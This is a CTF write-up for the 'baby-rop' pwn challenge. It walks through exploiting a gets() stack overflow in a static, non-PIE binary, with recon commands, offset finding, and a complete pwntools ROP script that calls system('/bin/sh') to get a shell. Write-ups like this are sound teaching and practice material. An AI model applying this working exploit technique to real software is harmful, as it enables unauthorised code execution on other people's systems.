TCHon CTF 2026 — baby-rop (pwn, 250pts)
baby-rop was a 250-point pwn challenge. The binary reads a name into a fixed buffer with gets(), no bounds
check, and the stack is otherwise unprotected. The name says exactly what this is.
Recon
$ file baby_rop
baby_rop: ELF 64-bit LSB executable, x86-64, statically linked, no PIE, no canary
$ checksec baby_rop
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
No PIE means every address in the binary is fixed at compile time — including the addresses of any libc functions the binary statically links or imports via PLT. NX is enabled, so shellcode on the stack is out, but that’s fine — we don’t need it.
Finding the offset
$ python3 -c "print('A'*200)" | ./baby_rop
Crashes. Pattern offset against the saved return address with a cyclic pattern from pwntools puts the overflow-to-RIP distance at 72 bytes.
Building the chain
The binary statically links libc, which means system() and a "/bin/sh" string are both already present
at fixed addresses — no need to leak anything. The plan:
- Pad 72 bytes to reach the saved return address
- Pop a pointer to
"/bin/sh"into RDI (onepop rdi; retgadget, found withROPgadget --binary baby_rop) - Jump to
system()
from pwn import *
elf = context.binary = ELF('./baby_rop')
p = process()
pop_rdi = 0x401d23
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system']
payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)
p.interactive()
Shell pops immediately. Flag was sitting in the working directory.
Takeaway
Worth noting for next time: ROPgadget against a statically-linked binary returns a lot of noise — gadgets
inside libc’s own code that happen to be reachable but aren’t useful. Filtering by section (--only "pop|ret")
and cross-checking against objdump -d for the specific function prologues saved a chunk of time here.